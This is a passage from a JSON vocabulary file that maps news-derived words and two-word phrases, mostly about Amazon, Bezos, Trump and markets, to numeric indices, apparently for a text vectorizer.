\"sensanders status\": 194261,\n  \"ami shall\": 194262,\n  \"organizer\": 194263,\n  \"suggested describing\": 194264,\n  \"news update\": 194265,\n  \"cap mark\": 194266,\n  \"consolidation\": 194267,\n  \"federal street\": 194268,\n  \"trillion bezos\": 194269,\n  \"workers including\": 194270,\n  \"fumed\": 194271,\n  \"cup think\": 194272,\n  \"jay shendure\": 194273,\n  \"amazon written\": 194274,\n  \"upscale roastery\": 194275,\n  \"politically given\": 194276,\n  \"amazing process\": 194277,\n  \"include expanding\": 194278,\n  \"alleged intimate\": 194279,\n  \"recent month\": 194280,\n  \"sens bernie\": 194281,\n  \"families bezos\": 194282,\n  \"death activist\": 194283,\n  \"authoritarianism\": 194284,\n  \"wading\": 194285,\n  \"benefit company\": 194286,\n  \"brings wryness\": 194287,\n  \"american bubble\": 194288,\n  \"photos theenquirer\": 194289,\n  \"include cnn\": 194290,\n  \"deal included\": 194291,\n  \"mpls day\": 194292,\n  \"reportedly offering\": 194293,\n  \"rekognition raises\": 194294,\n  \"particularly different\": 194295,\n  \"youth living\": 194296,\n  \"sorority alpha\": 194297,\n  \"hsn\": 194298,\n  \"dinner booking\": 194299,\n  \"bolstering\": 194300,\n  \"baidu\": 194301,\n  \"sanctimonious judgments\": 194302,\n  \"outlandish policy\": 194303,\n  \"newsroom credibility\": 194304,\n  \"reigns supreme\": 194305,\n  \"chief lawyer\": 194306,\n  \"enormous gains\": 194307,\n  \"1997\": 194308,\n  \"deforested right\": 194309,\n  \"large audience\": 194310,\n  \"vandal\": 194311,\n  \"mile network\": 194312,\n  \"geography facts\": 194313,\n  \"surprised deborah\": 194314,\n  \"mexico gov\": 194315,\n  \"thrones\": 194316,\n  \"suggest kind\": 194317,\n  \"scale mines\": 194318,\n  \"mogul bought\": 194319,\n  \"penned\": 194320,\n  \"leeds study\": 194321,\n  \"lives hoping\": 194322,\n  \"given trump\": 194323,\n  \"pro union\": 194324,\n  \"apple makes\": 194325,\n  \"felony campaign\": 194326,\n  \"onsite employment\": 194327,\n  \"make mueller\": 194328,\n  \"projects gbenga\": 194329,\n  \"private financial\": 194330,\n  \"union earlier\": 194331,\n  \"amalgamated\": 194332,\n  \"provides automated\": 194333,\n  \"taxed news\": 194334,\n  \"reach far\": 194335,\n  \"sportscoat\": 194336,\n  \"cloud makers\": 194337,\n  \"moves pulled\": 194338,\n  \"lgbtq\": 194339,\n  \"unless consumers\": 194340,\n  \"rewarded shareholders\": 194341,\n  \"released shortly\": 194342,\n  \"000 individual\": 194343,\n  \"netflix opening\": 194344,\n  \"stated concern\": 194345,\n  \"recession iran\": 194346,\n  \"business councils\": 194347,\n  \"office peter\": 194348,\n  \"capwealth\": 194349,\n  \"rarified\": 194350,\n  \"comment read\": 194351,\n  \"demanding better\": 194352,\n  \"devices division\": 194353,\n  \"conference trumps\": 194354,\n  \"house insisted\": 194355,\n  \"jay eshbach\": 194356,\n  \"moral indifference\": 194357,\n  \"affectionately\": 194358,\n  \"allies publicly\": 194359,\n  \"cat berkshire\": 194360,\n  \"targets begin\": 194361,\n  \"sultan column\": 194362,\n  \"super hornet\": 194363,\n  \"true swamp\": 194364,\n  \"senatefirst\": 194365,\n  \"1531928062\": 194366,\n  \"combating\": 194367,\n  \"government specifically\": 194368,\n  \"radical transparency\": 194369,\n  \"blueberry asahi\": 194370,\n  \"jaded\": 194371,\n  \"takes privacy\": 194372,\n  \"divisional\": 194373,\n  \"pride katie\": 194374,\n  \"unhealthy opinions\": 194375,\n  \"enterprise decisions\": 194376,\n  \"bipartisan research\": 194377,\n  \"deputy kaplan\": 194378,\n  \"half\": 194379,\n  \"increased\": 194380,\n  \"formative\": 194381,\n  \"brands sales\": 194382,\n  \"potential regulations\": 194383,\n  \"local labor\": 194384,\n  \"flood 179\": 194385,\n  \"pompeo speaks\": 194386,\n  \"increasing rates\": 194387,\n  \"martin jmartnyt\": 194388,\n  \"interesting case\": 194389,\n  \"reported noting\": 194390,\n  \"3adcwtfl0k\": 194391,\n  \"times jumped\": 194392,\n  \"dangerous products\": 194393,\n  \"upgraded\": 194394,\n  \"regarding statements\": 194395,\n  \"costs jumped\": 194396,\n  \"provides unified\": 194397,\n  \"folded\": 194398,\n  \"biden presidential\": 194399,\n  \"signaled widespread\": 194400,\n  \"placeholder\": 194401,\n  \"bystander effect\": 194402,\n  \"michael vocal\": 194403,\n  \"greet feel\": 194404,\n  \"ceremony held\": 194405,\n  \"vietnam efforts\": 194406,\n  \"zeya tun\": 194407,\n  \"footy team\": 194408,\n  \"803 464\": 194409,\n  \"virginia offering\": 194410,\n  \"va medical\": 194411,\n  \"ranganathan\": 194412,\n  \"hear news\": 194413,\n  \"paraphernalia\": 194414,\n  \"office appears\": 194415,\n  \"impaired\": 194416,\n  \"workers rights\": 194417,\n  \"essentially reimburse\": 194418,\n  \"commerce fast\": 194419,\n  \"gerstein russian\": 194420,\n  \"shares bezos\": 194421,\n  \"services businesses\": 194422,\n  \"snaps\": 194423,\n  \"bezos contrasting\": 194424,\n  \"virtuous publicity\": 194425,\n  \"ips monitor\": 194426,\n  \"knockoffs\": 194427,\n  \"ports\": 194428,\n  \"permissive\": 194429,\n  \"employee boeing\": 194430,\n  \"expecting q4\": 194431,\n  \"realistically\": 194432,\n  \"giant join\": 194433,\n  \"lands don\": 194434,\n  \"gun shots\": 194435,\n  \"origin commercial\": 194436,\n  \"tentatively\": 194437,\n  \"krzanich exit\": 194438,\n  \"plaxall\": 194439,\n  \"lower crude\": 194440,\n  \"sajni girl\": 194441,\n  \"ditching freeloaders\": 194442,\n  \"near poverty\": 194443,\n  \"intuitive\": 194444,\n  \"xs\": 194445,\n  \"paywall previously\": 194446,\n  \"region economic\": 194447,\n  \"weren followed\": 194448,\n  \"kindle leftist\": 194449,\n  \"general republican\": 194450,\n  \"hauled\": 194451,\n  \"microsoft briefly\": 194452,\n  \"orwell book\": 194453,\n  \"mental health\": 194454,\n  \"act trump\": 194455,\n  \"king rangers\": 194456,\n  \"holtzbrinck\": 194457,\n  \"shaban\": 194458,\n  \"pricing issue\": 194459,\n  \"beach fla\": 194460,\n  \"mccain decided\": 194461,\n  \"immigration trump\": 194462,\n  \"investment away\": 194463,\n  \"benzinga does\": 194464,\n  \"world amazon\": 194465,\n  \"create crisisall\": 194466,\n  \"radical 2020\": 194467,\n  \"bookseller beginnings\": 194468,\n  \"centers total\": 194469,\n  \"metal balls\": 194470,\n  \"chemical\": 194471,\n  \"analysis conducted\": 194472,\n  \"workplace simotas\": 194473,\n  \"phelps ivanka\": 194474,\n  \"agonizing desire\": 194475,\n  \"raincoats\": 194476,\n  \"run\": 194477,\n  \"ihkopoyqzz\": 194478,\n  \"tv customers\": 194479,\n  \"misleading govpredict\": 194480,\n  \"prospects story\": 194481,\n  \"science mystery\": 194482,\n  \"father fought\": 194483,\n  \"afflictions\": 194484,\n  \"firm trump\": 194485,\n  \"ago stock\": 194486,\n  \"canceled trip\": 194487,\n  \"statistical\": 194488,\n  \"capital tehran\": 194489,\n  \"acting coach\": 194490,\n  \"issue facebook\": 194491,\n  \"left google\": 194492,\n  \"market don\": 194493,\n  \"politics panel\": 194494,\n  \"tubes\": 194495,\n  \"travel bucket\": 194496,\n  \"actually rigging\": 194497,\n  \"largest monthly\": 194498,\n  \"jen hsun\": 194499,\n  \"critical magazine\": 194500,\n  \"improve customer\": 194501,\n  \"publishes unflattering\": 194502,\n  \"consumer confidence\": 194503,\n  \"cameron stracher\": 194504,\n  \"bloomberg data\": 194505,\n  \"parkland\": 194506,\n  \"related new\": 194507,\n  \"walmart founder\": 194508,\n  \"reportedly assumed\": 194509,\n  \"think american\": 194510,\n  \"saying nafta\": 194511,\n  \"monopoly shares\": 194512,\n  \"kudlow report\": 194513,\n  \"policy menchaca\": 194514,\n  \"kenmore\": 194515,\n  \"bull bear\": 194516,\n  \"rbsz1udt2g abc\": 194517,\n  \"new gusher\": 194518,\n  \"theoretically\": 194519,\n  \"ruby rose\": 194520,\n  \"brian merchant\": 194521,\n  \"hours depositing\": 194522,\n  \"workers decided\": 194523,\n  \"biggest quarterly\": 194524,\n  \"drawing comparisons\": 194525,\n  \"hospitals outpatient\": 194526,\n  \"community partner\": 194527,\n  \"agency ota\": 194528,\n  \"dramatic story\": 194529,\n  \"moderate positions\": 194530,\n  \"bangladesh\": 194531,\n  \"office fleet\": 194532,\n  \"utilizing blue\": 194533,\n  \"room cbs\": 194534,\n  \"workstation grade\": 194535,\n  \"person packages\": 194536,\n  \"direct relationship\": 194537,\n  \"modi administration\": 194538,\n  \"investigation naturally\": 194539,\n  \"fashion\": 194540,\n  \"flyingtypers\": 194541,\n  \"story gileads\": 194542,\n  \"pay far\": 194543,\n  \"social secretary\": 194544,\n  \"price worth\": 194545,\n  \"little creative\": 194546,\n  \"important river\": 194547,\n  \"atlanta journal\": 194548,\n  \"apparently reads\": 194549,\n  \"describes trump\": 194550,\n  \"snyder amazon\": 194551,\n  \"flint\": 194552,\n  \"toponymie explained\": 194553,\n  \"stemming\": 194554,\n  \"boxes falling\": 194555,\n  \"premise euphoria\": 194556,\n  \"launch gallery\": 194557,\n  \"favor promising\": 194558,\n  \"pinpoint areas\": 194559,\n  \"wayward boys\": 194560,\n  \"deflated\": 194561,\n  \"founders steve\": 194562,\n  \"undeterred\": 194563,\n  \"results arguing\": 194564,\n  \"desktop computer\": 194565,\n  \"z0 a4ee\": 194566,\n  \"dedicates\": 194567,\n  \"usual firewalls\": 194568,\n  \"great wealth\": 194569,\n  \"particular view\": 194570,\n  \"news stock\": 194571,\n  \"meat butcher\": 194572,\n  \"trump firedfbi\": 194573,\n  \"mindanao region\": 194574,\n  \"better equipped\": 194575,\n  \"pbm\": 194576,\n  \"tobacco campaign\": 194577,\n  \"aisne marne\": 194578,\n  \"warehousing positions\": 194579,\n  \"choice today\": 194580,\n  \"kiannah\": 194581,\n  \"turning profit\": 194582,\n  \"casey hosting\": 194583,\n  \"battles conflicts\": 194584,\n  \"succession plan\": 194585,\n  \"authorities accountability\": 194586,\n  \"book award\": 194587,\n  \"workers combined\": 194588,\n  \"450 carriers\": 194589,\n  \"answered adding\": 194590,\n  \"802\": 194591,\n  \"promulgate\": 194592,\n  \"pennsylvania democrats\": 194593,\n  \"season kevin\": 194594,\n  \"source nbc\": 194595,\n  \"knowcontinued\": 194596,\n  \"televised address\": 194597,\n  \"trumps\": 194598,\n  \"investorplace explained\": 194599,\n  \"mccain stood\": 194600,\n  \"videotape robert\": 194601,\n  \"moving average\": 194602,\n  \"new corporate\": 194603,\n  \"common man\": 194604,\n  \"poverty press\": 194605,\n  \"russian moscow\": 194606,\n  \"validea\": 194607,\n  \"vaccination sceptic\": 194608,\n  \"suit alleges\": 194609,\n  \"product prices\": 194610,\n  \"sourceamazon released\": 194611,\n  \"funder amazon\": 194612,\n  \"delayed ban\": 194613,\n  \"explain esl\": 194614,\n  \"existence brings\": 194615,\n  \"amazon cancelsits\": 194616,\n  \"ambulance calls\": 194617,\n  \"trumpcrimefamily\": 194618,\n  \"standard minimum\": 194619,\n  \"broadway star\": 194620,\n  \"mozambique rescue\": 194621,\n  \"j8i q0\": 194622,\n  \"boston naturally\": 194623,\n  \"stores continue\": 194624,\n  \"2017 cibc\": 194625,\n  \"reback noted\": 194626,\n  \"candidate elizabeth\": 194627,\n  \"big stick\": 194628,\n  \"ms lauren\": 194629,\n  \"stars emily\": 194630,\n  \"brazil leading\": 194631,\n  \"number packages\": 194632,\n  \"way\": 194633,\n  \"gray\": 194634,\n  \"wayfair future\": 194635,\n  \"blackmail insisting\": 194636,\n  \"version credits\": 194637,\n  \"clicker\": 194638,\n  \"foremost\": 194639,\n  \"baku\": 194640,\n  \"ag culp\": 194641,\n  \"jones falls\": 194642,\n  \"spanish speaking\": 194643,\n  \"parties bryan\": 194644,\n  \"pickle\": 194645,\n  \"squelch\": 194646,\n  \"securities violations\": 194647,\n  \"finance delivered\": 194648,\n  \"aws contract\": 194649,\n  \"n1 queryselectorall\": 194650,\n  \"sanna\": 194651,\n  \"american ballet\": 194652,\n  \"commission\": 194653,\n  \"tunnels subwaybikes\": 194654,\n  \"insights including\": 194655,\n  \"abused\": 194656,\n  \"stalemate furloughed\": 194657,\n  \"elf beauty\": 194658,\n  \"exuberance\": 194659,\n  \"country tax\": 194660,\n  \"obtain profits\": 194661,\n  \"soy plantations\": 194662,\n  \"ranks twentieth\": 194663,\n  \"big beat\": 194664,\n  \"grew economists\": 194665,\n  \"couldn say\": 194666,\n  \"biggest political\": 194667,\n  \"david huttenlocher\": 194668,\n  \"trump connection\": 194669,\n  \"enticing reason\": 194670,\n  \"really happening\": 194671,\n  \"saladish ilene\": 194672,\n  \"rahel\": 194673,\n  \"previously expressed\": 194674,\n  \"ted lieu\": 194675,\n  \"biggest washington\": 194676,\n  \"separation policies\": 194677,\n  \"n970311\": 194678,\n  \"moneywithout\": 194679,\n  \"nov pool\": 194680,\n  \"extremists\": 194681,\n  \"manufacturing war\": 194682,\n  \"just symptom\": 194683,\n  \"data medium\": 194684,\n  \"cambridge present\": 194685,\n  \"length physique\": 194686,\n  \"cowen icymi\": 194687,\n  \"queues\": 194688,\n  \"walmart jet\": 194689,\n  \"throttle\": 194690,\n  \"face olive\": 194691,\n  \"neutralized\": 194692,\n  \"popularity amazon\": 194693,\n  \"environmental markets\": 194694,\n  \"romney famously\": 194695,\n  \"waist\": 194696,\n  \"conan brien\": 194697,\n  \"fintech policy\": 194698,\n  \"javers contributed\": 194699,\n  \"critic state\": 194700,\n  \"week told\": 194701,\n  \"escaper\": 194702,\n  \"approved billion\": 194703,\n  \"national institute\": 194704,\n  \"second highest\": 194705,\n  \"high gear\": 194706,\n  \"york trump\": 194707,\n  \"president usa\": 194708,\n  \"insurance upgraded\": 194709,\n  \"398 shares\": 194710,\n  \"underweight\": 194711,\n  \"chuxing following\": 194712,\n  \"growth\": 194713,\n  \"poem\": 194714,\n  \"reach larger\": 194715,\n  \"clearance sales\": 194716,\n  \"bread butter\": 194717,\n  \"depots\": 194718,\n  \"958\": 194719,\n  \"jump pretty\": 194720,\n  \"adviser peter\": 194721,\n  \"legally ban\": 194722,\n  \"latest slide\": 194723,\n  \"scratch wouldn\": 194724,\n  \"nfp jobs\": 194725,\n  \"right fight\": 194726,\n  \"family home\": 194727,\n  \"city offered\": 194728,\n  \"doctor refusing\": 194729,\n  \"infrastructure fulfillment\": 194730,\n  \"previously online\": 194731,\n  \"investment strategy\": 194732,\n  \"8718\": 194733,\n  \"goods throwing\": 194734,\n  \"forest produces\": 194735,\n  \"lago deal\": 194736,\n  \"company dynamics\": 194737,\n  \"response underscores\": 194738,\n  \"irish prime\": 194739,\n  \"bezos pictured\": 194740,\n  \"herbicides\": 194741,\n  \"knopf leader\": 194742,\n  \"big opportunities\": 194743,\n  \"book soon\": 194744,\n  \"ruralista bloc\": 194745,\n  \"reporting chains\": 194746,\n  \"photo construction\": 194747,\n  \"unbeaten\": 194748,\n  \"operating margin\": 194749,\n  \"fight workplace\": 194750,\n  \"allow humans\": 194751,\n  \"higher taxes\": 194752,\n  \"hollywood homeowner\": 194753,\n  \"important decisions\": 194754,\n  \"jeff bezoz\": 194755,\n  \"especially thankful\": 194756,\n  \"direct negotiation\": 194757,\n  \"rivals prices\": 194758,\n  \"harm amazon\": 194759,\n  \"getting shirt\": 194760,\n  \"tweeting habit\": 194761,\n  \"rent meals\": 194762,\n  \"rover missions\": 194763,\n  \"collar workers\": 194764,\n  \"best drama\": 194765,\n  \"dillon disquisitions\": 194766,\n  \"policy communications\": 194767,\n  \"sought new\": 194768,\n  \"just negotiated\": 194769,\n  \"pays little\": 194770,\n  \"expand veteran\": 194771,\n  \"new catchall\": 194772,\n  \"consecutive sweeps\": 194773,\n  \"base provides\": 194774,\n  \"500 climbed\": 194775,\n  \"outposts\": 194776,\n  \"r40 _trksid\": 194777,\n  \"variables\": 194778,\n  \"luck considering\": 194779,\n  \"hudgins\": 194780,\n  \"partners analyst\": 194781,\n  \"entrepreneur information\": 194782,\n  \"whichever company\": 194783,\n  \"car prices\": 194784,\n  \"mike tyson\": 194785,\n  \"journal commentator\": 194786,\n  \"says rise\": 194787,\n  \"ads brands\": 194788,\n  \"sgtreport\": 194789,\n  \"post 2018\": 194790,\n  \"microsoft don\": 194791,\n  \"bylund owns\": 194792,\n  \"cut deals\": 194793,\n  \"showed photos\": 194794,\n  \"trade tit\": 194795,\n  \"stories make\": 194796,\n  \"party security\": 194797,\n  \"seeno\": 194798,\n  \"govpredict carried\": 194799,\n  \"authoring\": 194800,\n  \"alphabet closed\": 194801,\n  \"weird conspiracy\": 194802,\n  \"getting separated\": 194803,\n  \"nations china\": 194804,\n  \"aegis network\": 194805,\n  \"corporate supplies\": 194806,\n  \"punishments\": 194807,\n  \"resurged shannon\": 194808,\n  \"speculated\": 194809,\n  \"464 hectares\": 194810,\n  \"filtering content\": 194811,\n  \"dixon left\": 194812,\n  \"note netflix\": 194813,\n  \"fact free\": 194814,\n  \"berating\": 194815,\n  \"secretly rendezvoused\": 194816,\n  \"brings loud\": 194817,\n  \"decisions offer\": 194818,\n  \"mosque shootings\": 194819,\n  \"invasion virginia\": 194820,\n  \"poway calif\": 194821,\n  \"american industries\": 194822,\n  \"loudenback view\": 194823,\n  \"layer\": 194824,\n  \"thrivenyc\": 194825,\n  \"preventable disease\": 194826,\n  \"carell appears\": 194827,\n  \"business equally\": 194828,\n  \"jones industrial\": 194829,\n  \"meaning investment\": 194830,\n  \"payment underscores\": 194831,\n  \"green day\": 194832,\n  \"recommending postal\": 194833,\n  \"erica easley\": 194834,\n  \"password\": 194835,\n  \"feeds\": 194836,\n  \"denied saudis\": 194837,\n  \"foes plan\": 194838,\n  \"m2x h0\": 194839,\n  \"coast ocasio\": 194840,\n  \"idiots hypocrites\": 194841,\n  \"bytes google\": 194842,\n  \"3343556 width\": 194843,\n  \"research concluded\": 194844,\n  \"sotu\": 194845,\n  \"trump appeared\": 194846,\n  \"reverberated\": 194847,\n  \"missing people\": 194848,\n  \"forcing planned\": 194849,\n  \"hits included\": 194850,\n  \"netflix salt\": 194851,\n  \"tuna sandwich\": 194852,\n  \"group known\": 194853,\n  \"new transportation\": 194854,\n  \"reportedly building\": 194855,\n  \"line market\": 194856,\n  \"state power\": 194857,\n  \"shuster\": 194858,\n  \"marketwatch print\": 194859,\n  \"day stretching\": 194860,\n  \"witch half\": 194861,\n  \"271 000\": 194862,\n  \"brings lot\": 194863,\n  \"brand halo\": 194864,\n  \"156 billion\": 194865,\n  \"died nov\": 194866,\n  \"world longest\": 194867,\n  \"erase\": 194868,\n  \"require prime\": 194869,\n  \"country gdp\": 194870,\n  \"given comparatively\": 194871,\n  \"version remains\": 194872,\n  \"bezos endgame\": 194873,\n  \"benefit liabilities\": 194874,\n  \"para\\u00edba issued\": 194875,\n  \"chinese food\": 194876,\n  \"2fnationworld 2fpolitics\": 194877,\n  \"mandatory minimum\": 194878,\n  \"day low\": 194879,\n  \"commit billion\": 194880,\n  \"starring frances\": 194881,\n  \"work hard\": 194882,\n  \"nasdaq sbgi\": 194883,\n  \"andsaid\": 194884,\n  \"fears varney\": 194885,\n  \"arrangements contractually\": 194886,\n  \"guy bloomberg\": 194887,\n  \"fighting proposed\": 194888,\n  \"sext woman\": 194889,\n  \"apparent tax\": 194890,\n  \"money makes\": 194891,\n  \"starring michael\": 194892,\n  \"amazon pulled\": 194893,\n  \"credit boosts\": 194894,\n  \"euros\": 194895,\n  \"pass restored\": 194896,\n  \"important great\": 194897,\n  \"generated positive\": 194898,\n  \"yorker profile\": 194899,\n  \"tripled\": 194900,\n  \"venders\": 194901,\n  \"supplementation\": 194902,\n  \"var c9x\": 194903,\n  \"telly host\": 194904,\n  \"iphones apple\": 194905,\n  \"aluminum coming\": 194906,\n  \"human hair\": 194907,\n  \"gallon soon\": 194908,\n  \"entrepreneurial amazon\": 194909,\n  \"rich benefactor\": 194910,\n  \"author amber\": 194911,\n  \"perp points\": 194912,\n  \"dory\": 194913,\n  \"mayor looking\": 194914,\n  \"major surprise\": 194915,\n  \"discounts known\": 194916,\n  \"lectures presumptive\": 194917,\n  \"socialist republic\": 194918,\n  \"leftist owner\": 194919,\n  \"russian aluminum\": 194920,\n  \"lawless act\": 194921,\n  \"trump catch\": 194922,\n  \"antitrust criticisms\": 194923,\n  \"inevitably\": 194924,\n  \"ith\": 194925,\n  \"joint health\": 194926,\n  \"coming challenge\": 194927,\n  \"toronto raptors\": 194928,\n  \"facebook analyzing\": 194929,\n  \"increase cybersecurity\": 194930,\n  \"trump supporter\": 194931,\n  \"star store\": 194932,\n  \"der wienerschnitzel\": 194933,\n  \"local activists\": 194934,\n  \"york related\": 194935,\n  \"court filings\": 194936,\n  \"transfer\": 194937,\n  \"tweet intended\": 194938,\n  \"flag inside\": 194939,\n  \"liquor swilling\": 194940,\n  \"goldblum\": 194941,\n  \"shrek\": 194942,\n  \"president using\": 194943,\n  \"monopoly quantifying\": 194944,\n  \"travelers trv\": 194945,\n  \"graphic novel\": 194946,\n  \"political headlines\": 194947,\n  \"storm rosa\": 194948,\n  \"official events\": 194949,\n  \"betting favorite\": 194950,\n  \"corporate site\": 194951,\n  \"getty_72664757_387844 jpg\": 194952,\n  \"pods\": 194953,\n  \"embarrassing distraction\": 194954,\n  \"make food\": 194955,\n  \"sound lot\": 194956,\n  \"pete available\": 194957,\n  \"comments represent\": 194958,\n  \"targets venezuela\": 194959,\n  \"mass robert\": 194960,\n  \"giant toronto\": 194961,\n  \"tremendous bounty\": 194962,\n  \"trafficking camp\": 194963,\n  \"downgrades kb\": 194964,\n  \"virginia nashville\": 194965,\n  \"negative number\": 194966,\n  \"playgrounds\": 194967,\n  \"southeast\": 194968,\n  \"tech traders\": 194969,\n  \"insist\": 194970,\n  \"congressman ro\": 194971,\n  \"2f13 2f17855358\": 194972,\n  \"trump pointed\": 194973,\n  \"share adjust\": 194974,\n  \"supporters rallied\": 194975,\n  \"amazon acquisition\": 194976,\n  \"want\": 194977,\n  \"amazon nasdaq\": 194978,\n  \"uber google\": 194979,\n  \"alexa creepy\": 194980,\n  \"lately\": 194981,\n  \"toxic chemicals\": 194982,\n  \"vendors trump\": 194983,\n  \"giving power\": 194984,\n  \"fed moves\": 194985,\n  \"report stating\": 194986,\n  \"contaminated water\": 194987,\n  \"space station\": 194988,\n  \"paper tiger\": 194989,\n  \"sports businesses\": 194990,\n  \"important feature\": 194991,\n  \"janis\": 194992,\n  \"lin manuel\": 194993,\n  \"gives performance\": 194994,\n  \"shelter palestinian\": 194995,\n  \"hold separate\": 194996,\n  \"estimated 600\": 194997,\n  \"understandable\": 194998,\n  \"minimization\": 194999,\n  \"say false\": 195000,\n  \"driving president\": 195001,\n  \"bezos snarks\": 195002,\n  \"nyse cs\": 195003,\n  \"trump disastrous\": 195004,\n  \"heeding\": 195005,\n  \"prep alum\": 195006,\n  \"bit griffeth\": 195007,\n  \"time schedule\": 195008,\n  \"privilege iraq\": 195009,\n  \"nydailynews\": 195010,\n  \"designating\": 195011,\n  \"launch boycottwalmart\": 195012,\n  \"alamy live\": 195013,\n  \"suit bound\": 195014,\n  \"programming logic\": 195015,\n  \"salesman new\": 195016,\n  \"smackdowns\": 195017,\n  \"government career\": 195018,\n  \"burnt remains\": 195019,\n  \"heart sank\": 195020,\n  \"wireless charger\": 195021,\n  \"government expansion\": 195022,\n  \"bluefin trading\": 195023,\n  \"ensures walmart\": 195024,\n  \"700 chief\": 195025,\n  \"toilet memes\": 195026,\n  \"yes network\": 195027,\n  \"family shepherd\": 195028,\n  \"g1ykjappwy\": 195029,\n  \"facetime service\": 195030,\n  \"huseman vice\": 195031,\n  \"campus\": 195032,\n  \"stores closed\": 195033,\n  \"homecare worker\": 195034,\n  \"company think\": 195035,\n  \"mum\": 195036,\n  \"way determine\": 195037,\n  \"witch teenager\": 195038,\n  \"facing america\": 195039,\n  \"amid rout\": 195040,\n  \"amazon topped\": 195041,\n  \"send private\": 195042,\n  \"meantime trump\": 195043,\n  \"pretty harmless\": 195044,\n  \"cigar wars\": 195045,\n  \"website logistics\": 195046,\n  \"ismobilebannertext false\": 195047,\n  \"ask osha\": 195048,\n  \"owlfirstitem cnn\": 195049,\n  \"corporate driven\": 195050,\n  \"boston casino\": 195051,\n  \"bezos expeditions\": 195052,\n  \"amazon save\": 195053,\n  \"wall funding\": 195054,\n  \"overestimated\": 195055,\n  \"consistent wage\": 195056,\n  \"newseum stopped\": 195057,\n  \"columnist jack\": 195058,\n  \"commitments consumer\": 195059,\n  \"service wants\": 195060,\n  \"mohammad\": 195061,\n  \"goog\": 195062,\n  \"brice\": 195063,\n  \"mccaskill facebook\": 195064,\n  \"product manufacturers\": 195065,\n  \"crawford\": 195066,\n  \"did try\": 195067,\n  \"devious\": 195068,\n  \"disgusting deplorable\": 195069,\n  \"habitat interconnectivity\": 195070,\n  \"offering coupon\": 195071,\n  \"financial political\": 195072,\n  \"italy amazon\": 195073,\n  \"torel owner\": 195074,\n  \"honeymooning\": 195075,\n  \"du jour\": 195076,\n  \"incisive unshowy\": 195077,\n  \"deal ami\": 195078,\n  \"technology transfer\": 195079,\n  \"president fernando\": 195080,\n  \"typeof playerinstance\": 195081,\n  \"fairly expensive\": 195082,\n  \"forget willie\": 195083,\n  \"airline industry\": 195084,\n  \"false inc_autoplay_videoflag\": 195085,\n  \"scott fight\": 195086,\n  \"2014 war\": 195087,\n  \"getting additional\": 195088,\n  \"capes bearing\": 195089,\n  \"accused alphabet\": 195090,\n  \"aws right\": 195091,\n  \"analyst actually\": 195092,\n  \"thinks asa\": 195093,\n  \"hopefull\": 195094,\n  \"jolts reports\": 195095,\n  \"absolute best\": 195096,\n  \"amazon fabled\": 195097,\n  \"billion crony\": 195098,\n  \"saving capitalism\": 195099,\n  \"41billion\": 195100,\n  \"acrylic\": 195101,\n  \"fasanella\": 195102,\n  \"waiting does\": 195103,\n  \"local tax\": 195104,\n  \"example stitch\": 195105,\n  \"american magazine\": 195106,\n  \"maryland billion\": 195107,\n  \"london nixes\": 195108,\n  \"gmo\": 195109,\n  \"near major\": 195110,\n  \"highlighted relatively\": 195111,\n  \"brown brothers\": 195112,\n  \"formed\": 195113,\n  \"bracamontes\": 195114,\n  \"expansive\": 195115,\n  \"crossbow\": 195116,\n  \"trade fights\": 195117,\n  \"investors hold\": 195118,\n  \"freedom legislation\": 195119,\n  \"aides staunch\": 195120,\n  \"onborder security\": 195121,\n  \"class amazon\": 195122,\n  \"company order\": 195123,\n  \"helped orchestrate\": 195124,\n  \"support raising\": 195125,\n  \"eastern nation\": 195126,\n  \"significant marketing\": 195127,\n  \"water quality\": 195128,\n  \"remarkable html\": 195129,\n  \"regime rep\": 195130,\n  \"rates near\": 195131,\n  \"obtained copy\": 195132,\n  \"uk prime\": 195133,\n  \"charles touts\": 195134,\n  \"scruffy\": 195135,\n  \"blackmail allow\": 195136,\n  \"momentum saying\": 195137,\n  \"latent\": 195138,\n  \"service boost\": 195139,\n  \"digitally empowered\": 195140,\n  \"twitter amazon\": 195141,\n  \"period\": 195142,\n  \"day early\": 195143,\n  \"upbeat comments\": 195144,\n  \"treatment philip\": 195145,\n  \"acquire onewest\": 195146,\n  \"administration activities\": 195147,\n  \"wave consuming\": 195148,\n  \"finger instead\": 195149,\n  \"trump ones\": 195150,\n  \"location near\": 195151,\n  \"european stock\": 195152,\n  \"held inside\": 195153,\n  \"eliciting\": 195154,\n  \"company struggled\": 195155,\n  \"hospital schr\\u00f6dinger\": 195156,\n  \"eliminate competition\": 195157,\n  \"28news 2f\": 195158,\n  \"pastime\": 195159,\n  \"john dorsey\": 195160,\n  \"called healthy\": 195161,\n  \"senator todd\": 195162,\n  \"important things\": 195163,\n  \"took meetings\": 195164,\n  \"pelosi claimed\": 195165,\n  \"historic high\": 195166,\n  \"philanthropist\": 195167,\n  \"critics suggesting\": 195168,\n  \"tweet notably\": 195169,\n  \"owners liable\": 195170,\n  \"cnn documented\": 195171,\n  \"courant\": 195172,\n  \"hold talks\": 195173,\n  \"hubris laced\": 195174,\n  \"ballard leading\": 195175,\n  \"cannon\": 195176,\n  \"election pecker\": 195177,\n  \"features fox\": 195178,\n  \"neighbors house\": 195179,\n  \"house kill\": 195180,\n  \"reporter jeff\": 195181,\n  \"new essay\": 195182,\n  \"ratios\": 195183,\n  \"mutually beneficial\": 195184,\n  \"grant followed\": 195185,\n  \"turbo boost\": 195186,\n  \"ammunition\": 195187,\n  \"essentially owns\": 195188,\n  \"collaborated\": 195189,\n  \"just hey\": 195190,\n  \"asshat\": 195191,\n  \"prescribing parts\": 195192,\n  \"locking\": 195193,\n  \"lobbyist key\": 195194,\n  \"reuters world\": 195195,\n  \"online behemoth\": 195196,\n  \"294bn compared\": 195197,\n  \"charmed\": 195198,\n  \"authorimage\": 195199,\n  \"morocco\": 195200,\n  \"scoring\": 195201,\n  \"executive chairman\": 195202,\n  \"985\": 195203,\n  \"mcmaster stress\": 195204,\n  \"tube cc\": 195205,\n  \"problems trump\": 195206,\n  \"critique\": 195207,\n  \"routinely uses\": 195208,\n  \"government conservatives\": 195209,\n  \"media looks\": 195210,\n  \"contract bloomberg\": 195211,\n  \"tom mchale\": 195212,\n  \"relentless fight\": 195213,\n  \"rallied\": 195214,\n  \"companies need\": 195215,\n  \"pounds lifespan\": 195216,\n  \"39572 p7a\": 195217,\n  \"takes new\": 195218,\n  \"2018 millennial\": 195219,\n  \"amd shares\": 195220,\n  \"house transit\": 195221,\n  \"riding high\": 195222,\n  \"combines\": 195223,\n  \"early voting\": 195224,\n  \"sunset beach\": 195225,\n  \"1040\": 195226,\n  \"heres exactly\": 195227,\n  \"rate socialism\": 195228,\n  \"extreme droughts\": 195229,\n  